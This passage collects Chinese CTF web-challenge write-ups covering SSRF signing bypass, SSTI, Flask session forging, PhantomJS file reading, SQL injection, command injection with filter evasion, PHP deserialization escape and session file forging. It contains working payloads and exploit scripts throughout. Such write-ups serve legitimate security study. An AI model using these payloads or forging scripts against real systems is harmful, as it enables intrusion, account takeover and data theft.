執行成功後把session拿去解碼,用github上session解碼的指令碼

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode


def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)


decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True


try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')


if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')


return session_json_serializer.loads(payload)


if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

然後就可以在解碼後的session中看到base64加密的flag

[De1CTF 2019]SSRF Me

題目給出了原始碼

app:

這個檔案結構見過很多次了,是flask的框架

檢視app裡的原始碼的路由資訊

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')


app = Flask(__name__)


secert_key = os.urandom(16)




class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)


def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result


def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False




#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)




@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()




def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"






def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()




def md5(content):
return hashlib.md5(content).hexdigest()




def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False




if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')

有一個scan函式,可以讀取本地的檔案

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

然後題目給的原始碼裡有一個flag.sh,flag應該就在flag.txt裡,想辦法讓param等於flag.txt就可以了

看一下原始碼,有三條路由

/是顯示主頁面,指向一個txt檔案

/geneSign頁面呼叫了getSign方法生成 md5

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

/De1ta頁面用get方法傳入param引數值,在cookie裡面傳遞action和sign的值,將傳遞的param通過waf這個函式

def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

waf檢查大小寫和gopher或者file開頭的,所以在這裡過濾了這兩個協議,使我們不能通過協議讀取檔案

然後建立task物件,使用Exec函式

 task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

去看task中的Exec()

Exec函式中有這樣一部分

      if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)

這裡部分是呼叫checkSign函式檢查引數,如果通過的話就把param傳到scan函式中

  def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

這個檢查是比較getsign的返回值和sign的值

跟進getSign

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

給出了Sign的計算方式,但是我們不知道secert_key的值

但是這一條路由:

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

會直接返回getSign計算後的結果,action被定義成scan,所以我們不需要知道key的值,只需要直接訪問/geneSign並且傳參flag.txtread就可以得到對應的Sign

然後因為這個md5是拼接的,所以這裡讓param=flag.txtread生成md5值,然後後續再讓action=readscan,這樣結果就都是flag.txtreadaction了,md5值也就一樣了

拿到Sign

再回到task中的Exec()函式,然後按要求傳參拿到flag

[FBCTF2019]Event

登入或註冊,進去之後

我們輸入東西點提交就可以直接在下面新增並顯示,大概率是用的模板

這題考察的應該就是模板注入

然後第三個頁面點進去有一句提示

說我們不是管理員,那這題估計又要偽造session或者cookie了

模板的話一般檔案目錄的結構都是固定的,嘗試利用輸入框讀取一下

輸入框不太行,再抓包看一下選擇項是不是可以修改

可以修改,隨便整個類讀一下,確實存在注入

利用SSTI:python中一切內容都可以是物件,不同的類也可能繼承於同一父類或父類的父類,然後就可以檢查本類的父類,再檢查父類的子類,以此類推就可以呼叫所有的類

用這種方法呼叫globals,globals會返回某個位置的全域性變數,然後flask的配置檔案app.config中一般存放著模板相關的變數

__class__.__init__.__globals__[app].config

拿到SECRT_KEY,用網上搜的cookie偽造指令碼偽造一下

from flask import Flask
from flask.sessions import SecureCookieSessionInterface


app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'


session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)


@app.route('/')
def index():
print(session_serializer.dumps("admin"))


index()

訪問admin panel頁面,抓包改cookie

[FireshellCTF2020]ScreenShooter

一個查詢頁面,可以輸入url

輸入http://baidu.com會返回一個百度的截圖

嘗試一下file協議

發現是必須url要以http或https開頭,不然就警告

掃了一下目錄以及抓包也沒有發現任何有用資訊

去搜了一下,說是要用https://beeceptor.com/這個網站生成一個臨時站點,然後讓目標站點訪問,可以抓取到更詳細的資訊

生成一個qweqwe.free.beeceptor.com並訪問

抓到了兩個GET請求,但是這樣跟burp抓到的一樣

搜了一下說是要用http請求訪問

這個網站使用的是PhantomJS  這個其實就是一種爬蟲,可以其中就包含獲得網頁的截圖功能

這個是有漏洞的,CVE-2019-17221,我們可以自己構建一個html檔案,在裡面用XMLHttpRequest物件用於訪問url的方法來訪問本地資源,然後用目標網站讀取我們的檔案就會造成檔案包含

構造html:

<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<script type="text/javascript">
var karsa;
karsa = new XMLHttpRequest;
karsa.onload = function(){
document.write(this.responseText)
};
karsa.open("GET","file:///flag");
karsa.send();
</script>
</body>
</html>

然後放到自己的vps裡讓伺服器訪問就會回顯flag

[GXYCTF2019]BabySQli

登入後提示wrong user

檢視原始碼

是一段雙層加密,先base32解碼再base64解碼

解密後是一串查詢語句

也就是說有sql注入,回到登入頁面嘗試

先用order by查詢,發現有過濾

繼續試 -1' union select 1,2,3# 沒有報錯,所以基本就是三列 id username password

然後發現如果用admin賬號登入,會顯示密碼不對,用不存在賬號登入就顯示密碼錯誤

所以賬號和密碼是分開判斷的,而且先判斷賬號

附上他人推斷的原始碼:

$name = $_POST['name'];
$password = $_POST['pw'];
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}else{
die("wrong pass!");
}
}else{
die("wrong user!");
}
}

我們可以偽造一行查詢結果來讓後端讀取

比如:

比如要用dump登入,我們構造一行假的查詢結果(是直接用select輸出的字串,而不是真正查到的)

然後id=1改成 id=-1這樣就只剩下我們偽造的行了

試一下username和password的位置

-1'union select 1,'admin',3#

提示密碼錯誤,admin在第二個位置

構造payload:

賬號:-1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#(md5加密的123)
密碼:123

登入

[GXYCTF2019]Ping Ping Ping

提示了需要傳參ip

就是傳參ip地址就會返回ping資訊

管道符執行其他命令

/?ip=1;ls

/?ip=1;cat flag.php

提示空格被過濾了

繞過空格可以用$IFS$1變數繞過,或者url編碼的換行符,重定向符等

/?ip=1;cat$IFS$1flag.php

flag可以用單引號或者\繞過

/?ip=1;cat$IFS$1f\''l""a\g.php

連符號也被過濾了

先試一下index.php能不能檢視吧

/?ip=1;cat$IFS$1index.php
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "

";
print_r($a);
}

?>

給出了所有的過濾

過濾了各種各樣的符號,bash

並且flag是貪婪匹配,flag四個字元不能同時出現在任何字串中

過濾的並不算很嚴,有很多繞過的方式

先自定義一個變數,再拼接變數名

?ip=1;a=g;cat$IFS$1fla$a.php;

將base64編碼的命令先解碼再傳遞到bash執行 (sh是bash簡寫)

/?ip=1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

反引號內聯, 中的內容會被當做命令先執行

?ip=127.0.0.1;cat$IFS$1`ls`

F12檢視flag

[GYCTF2020]Easyphp

登入系統,啥都沒有,隨便輸入東西登入也什麼也不會發生,檢視原始碼,仍然什麼都沒有

掃一下目錄吧,發現有www.zip備份檔案,下載下來看一下

update.php:

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>這是一個未完成的頁面,上線時建議刪除本頁面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你還沒有登陸呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>

可以看到如果session中的login值等於1就輸出flag

看一下它包含的lib.php

<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//這個功能還沒有寫完 先佔坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("連線失敗,錯誤:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('使用者不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密碼錯誤!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//還沒來得及寫
}
}

User類獲取username和password引數,拿去給dbCtrl類中的login函式處理並得到返回的id值,id不為空就可以登入,然後給SEESION的id和login欄位賦值,然後就可以拿到flag

login函式會檢查token=admin,或者MD5加密後的password等於sql查詢到的password,就可以登入成功返回id值,然後這個查詢是可以利用的:

select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?

``這裡password傳md5加密後的1,然後比較的時候解密拿到1,字串不為空也會返回1,然後就相等返回id值

現在需要傳入我們構造的sql語句進行呼叫,然後就找魔術方法就行了,UpdateHelper類中__destruct(),在銷燬時將$sql例項化為User類的物件並當成字串輸出

然後info中的 call()函式就會被自動呼叫, call()方法裡$CtrlCase呼叫了login()方法,然後給login()傳入我們要執行的sql語句就可以了,也就是給age傳值我們的sql語句

然後再看update()函式

public function update()
{
$Info = unserialize($this->getNewinfo());
$age = $Info->age;
$nickname = $Info->nickname;
$updateAction = new UpdateHelper($_SESSION['id'], $Info, "update user SET age=$age,nickname=$nickname where id=" . $_SESSION['id']);
}

在user類的update()函式中的解序列化解的不是我們的字串,而是getNewinfo()的返回值,然後這個getNewinfo()的返回值是

safe(serialize(new Info($age, $nickname))); 也就是用safe序列化處理過的info物件,info的屬性就是我們POST傳入的引數

看一下safe

function safe($parm)
{
$array = array('union', 'regexp', 'load', 'into', 'flag', 'file', 'insert', "'", '\\', "*", "alter");
return str_replace($array, 'hacker', $parm);
}

這裡明顯可以進行逃逸,將union轉成hacker就會多一個字元

逃逸後的最終payload:

age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

update.php頁面傳入payload

login.php登入

[HarekazeCTF2019]Easy Notes

題目給了github的原始碼

這倆沒啥用:

檔案很多,其中有flag.php,肯定跟flag有關,先看這個

      <section>
<h2>Get flag</h2>
<p>
<?php
if (is_admin()) {
echo "Congratulations! The flag is: <code>" . getenv('FLAG') . "</code>";
} else {
echo "You are not an admin :(";
}
?>
</p>
</section>

is_admin()判斷如果是admin則拿到flag,去找is_admin(),然後在lib.php裡找到大量函式的定義,其中就有is_admin()

<?php
function redirect($path) {
header('Location: ' . $path);
exit();
}


// utility functions
function e($str) {
return htmlspecialchars($str, ENT_QUOTES);
}


// user-related functions
function validate_user($user) {
if (!is_string($user)) {
return false;
}


return preg_match('/\A[0-9A-Z_-]{4,64}\z/i', $user);
}


function is_logged_in() {
return isset($_SESSION['user']) && !empty($_SESSION['user']);
}


function set_user($user) {
$_SESSION['user'] = $user;
}


function get_user() {
return $_SESSION['user'];
}


function is_admin() {
if (!isset($_SESSION['admin'])) {
return false;
}
return $_SESSION['admin'] === true;
}


// note-related functions
function get_notes() {
if (!isset($_SESSION['notes'])) {
$_SESSION['notes'] = [];
}
return $_SESSION['notes'];
}


function add_note($title, $body) {
$notes = get_notes();
array_push($notes, [
'title' => $title,
'body' => $body,
'id' => hash('sha256', microtime())
]);
$_SESSION['notes'] = $notes;
}


function find_note($notes, $id) {
for ($index = 0; $index < count($notes); $index++) {
if ($notes[$index]['id'] === $id) {
return $index;
}
}
return FALSE;
}


function delete_note($id) {
$notes = get_notes();
$index = find_note($notes, $id);
if ($index !== FALSE) {
array_splice($notes, $index, 1);
}
$_SESSION['notes'] = $notes;
}

可以看到is_admin就是簡單的判斷,判斷session中admin欄位是否為true,查閱資料php的session儲存欄位時如果是內容是物件,那就會自動序列化的,序列化儲存格式為:鍵名 | serialize函式序列處理的值

所以可以偽造admin欄位

function is_admin() {
if (!isset($_SESSION['admin'])) {
return false;
}
return $_SESSION['admin'] === true;
}

然後就找哪裡可以輸入,去看新增筆記的原始碼

<?php
require_once('init.php');


if (!is_logged_in()) {
redirect('/?page=home');
}


if (!isset($_POST['title']) || empty($_POST['title'])) {
redirect('/?page=notes');
}
$title = $_POST['title'];


if (!isset($_POST['body']) || empty($_POST['body'])) {
redirect('/?page=notes');
}
$body = $_POST['body'];


add_note($title, $body);
redirect('/?page=notes');

add.php會通過表單POST獲取title和body

然後呼叫add_note函式將新增我們輸入的內容

function add_note($title, $body) {
$notes = get_notes();
array_push($notes, [
'title' => $title,
'body' => $body,
'id' => hash('sha256', microtime())
]);
$_SESSION['notes'] = $notes;
}

add_note函式會給我們的筆記設定一個id,然後把筆記放到session的notes欄位裡

<?php
require_once('init.php');


if (!is_logged_in()) {
redirect('/?page=home');
}


$notes = get_notes();


if (!isset($_GET['type']) || empty($_GET['type'])) {
$type = 'zip';
} else {
$type = $_GET['type'];
}


$filename = get_user() . '-' . bin2hex(random_bytes(8)) . '.' . $type;
$filename = str_replace('..', '', $filename); // avoid path traversal
$path = TEMP_DIR . '/' . $filename;


if ($type === 'tar') {
$archive = new PharData($path);
$archive->startBuffering();
} else {
// use zip as default
$archive = new ZipArchive();
$archive->open($path, ZIPARCHIVE::CREATE | ZipArchive::OVERWRITE);
}


for ($index = 0; $index < count($notes); $index++) {
$note = $notes[$index];
$title = $note['title'];
$title = preg_replace('/[^!-~]/', '-', $title);
$title = preg_replace('#[/\\?*.]#', '-', $title); // delete suspicious characters
$archive->addFromString("{$index}_{$title}.json", json_encode($note));
}


if ($type === 'tar') {
$archive->stopBuffering();
} else {
$archive->close();
}


header('Content-Disposition: attachment; filename="' . $filename . '";');
header('Content-Length: ' . filesize($path));
header('Content-Type: application/zip');
readfile($path);

這部分原始碼會生成筆記的檔案,其中這一段:

if (!isset($_GET['type']) || empty($_GET['type'])) {
$type = 'zip';
} else {
$type = $_GET['type'];
}


$filename = get_user() . '-' . bin2hex(random_bytes(8)) . '.' . $type;
$filename = str_replace('..', '', $filename); // avoid path traversal
$path = TEMP_DIR . '/' . $filename;

判斷type引數,如果沒有設定這個引數就預設檔案字尾是zip,否則就是我們傳入的字尾

然後拼接檔名,session的user欄位拼接一個 - 連線的八位隨機數 再拼接我們傳入的字尾名

然後就是一個過濾,把 .. 替換成空

大致就是要需要建立一個使用者名稱為:sess_

然後Add note提交title為:|N;admin|b:1;  然後tite存到session的時候被序列化成:admin==bool(true)

,然後session中的admin就等於true可以通過驗證了

然後export.php?type=. 即可使得這個.與前面的.拼接成 .. 被替換為空,$filename也就被偽造成了session的檔名

然後就會生成一個檔案

-192145efc689d9e8就是生成的phpsession,替換一下就拿到flag了

[HarekazeCTF2019]encode_and_encode

前兩個會彈一段沒啥用的話

第三個直接給出了原始碼

 <?php
error_reporting(0);


if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}


function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}


$body = file_get_contents('php://input');
$json = json_decode($body, true);


if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}


// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);

先是通過偽協議input : //將post中的資料傳到 body進行json格式解析,所以需要我們post傳入josn格式的內容

然後呼叫is_valid($body) 對post傳入的內容進行檢驗,is_valid()函式會過濾一堆關鍵字,還要求我們在json中要寫一個page引數,不通過的話就會返回invalid request

然後獲取page檔案的內容,再對檔案內容進行一次is_valid()檢驗,不通過則返回no found

最後如果檔案中有HarekazeCTF{}的內容就換成 HarekazeCTF{<censored>}

輸出json編碼的檔案內容

然後就要想辦法進行繞過is_valid()傳遞page,json在傳輸時用Unicode編碼的,可以使用Unicode編碼繞過

通過了檔名檢驗,說明是有flag這個檔案的,但是內容中有敏感關鍵字

in_vaild沒有過濾filter://我們用php://filter/read=convert.base64-encode/resource=/flag來base64加密內容繞過,php和flag都Unicode編碼一下

{"page":"\u0070\u0068\u0070://filter/read=convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}

[HCTF 2018]admin

進入之後有登入和註冊功能

註冊一個賬號然後登入

可以留言或者改密碼

檢視一下原始碼

發現提示你不是admin,需要我們以admin登入

在修改密碼的頁面原始碼裡有一段提示

給出了原始碼的github地址

又是flask的檔案

檢視路由

大致看了一下,code是生成驗證碼,config是配置,routes裡有路由資訊

檢視一下路由

#!/usr/bin/env python
# -*- coding:utf-8 -*-


from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response
from flask_login import logout_user, LoginManager, current_user, login_user
from app import app, db
from config import Config
from app.models import User
from forms import RegisterForm, LoginForm, NewpasswordForm
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
from io import BytesIO
from code import get_verify_code


@app.route('/code')
def get_code():
image, code = get_verify_code()
# 圖片以二進位制形式寫入
buf = BytesIO()
image.save(buf, 'jpeg')
buf_str = buf.getvalue()
# 把buf_str作為response返回前端,並設定首部欄位
response = make_response(buf_str)
response.headers['Content-Type'] = 'image/gif'
# 將驗證碼字串儲存在session中
session['image'] = code
return response


@app.route('/')
@app.route('/index')
def index():
return render_template('index.html', title = 'hctf')


@app.route('/register', methods = ['GET', 'POST'])
def register():


if current_user.is_authenticated:
return redirect(url_for('index'))


form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data)
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
if User.query.filter_by(username = name).first():
flash('The username has been registered')
return redirect(url_for('register'))
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful')
return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form)


@app.route('/login', methods = ['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))


form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)


@app.route('/logout')
def logout():
logout_user()
return redirect('/index')


@app.route('/change', methods = ['GET', 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)


@app.route('/edit', methods = ['GET', 'POST'])
def edit():
if request.method == 'POST':

flash('post successful')
return redirect(url_for('index'))
return render_template('edit.html', title = 'edit')


@app.errorhandler(404)
def page_not_found(error):
title = unicode(error)
message = error.description
return render_template('errors.html', title=title, message=message)


def strlower(username):
username = nodeprep.prepare(username)
return username

可以看到裡面的登入,驗證碼,修改密碼等功能都是對session進行操作

所以就需要我們session偽造一下

先F12拿一下session

用github上session解密的指令碼解密一下

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode


def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)


decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True


try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')


if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')


return session_json_serializer.loads(payload)


if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

session為

{'_fresh': True, '_id': b'26399df229d497efe4214c61f71a674bb509303402028209e291417ad83d303c1700e53ea9b778ab2fe080740884f40ac5e4a4968053ea30a7f182f4793d26f', 'csrf_token': b'62a88a8aea8450afab90fc81f2ffd53582ddb22e', 'image': b'8vsh', 'name': 'qwe', 'user_id': '10'}

我們可以嘗試直接把name欄位改成admin

現在還需要拿到session的金鑰,前面看config.py的時候有一段

import os


class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True

這裡說secret_KEY可以是ckj123

github上的偽造session指令碼

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'


# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast


# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod


# Lib for argument parsing
import argparse


# external Imports
from flask.sessions import SecureCookieSessionInterface




class MockApp(object):


def __init__(self, secret_key):
self.secret_key = secret_key




if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)


session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)


return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value


if payload.startswith('.'):
compressed = True
payload = payload[1:]


data = payload.split(".")[0]


data = base64_decode(data)
if compressed:
data = zlib.decompress(data)


return data
else:
app = MockApp(secret_key)


si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)


return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)


session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)


return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value


if payload.startswith('.'):
compressed = True
payload = payload[1:]


data = payload.split(".")[0]


data = base64_decode(data)
if compressed:
data = zlib.decompress(data)


return data
else:
app = MockApp(secret_key)


si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)


return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e


if __name__ == "__main__":
# Args are only relevant for __main__ usage


## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")


## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')


## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)


## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)


## get args
args = parser.parse_args()


## find the option chosen
if (args.subcommand == 'encode'):
if (args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif (args.subcommand == 'decode'):
if (args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value, args.secret_key))
elif (args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))

然後替換瀏覽器的session就可以登入到admin賬戶

[HCTF 2018]WarmUp

進入之後什麼也沒有,檢視原始碼提示有個source.php

進入之後給了一段的原始碼

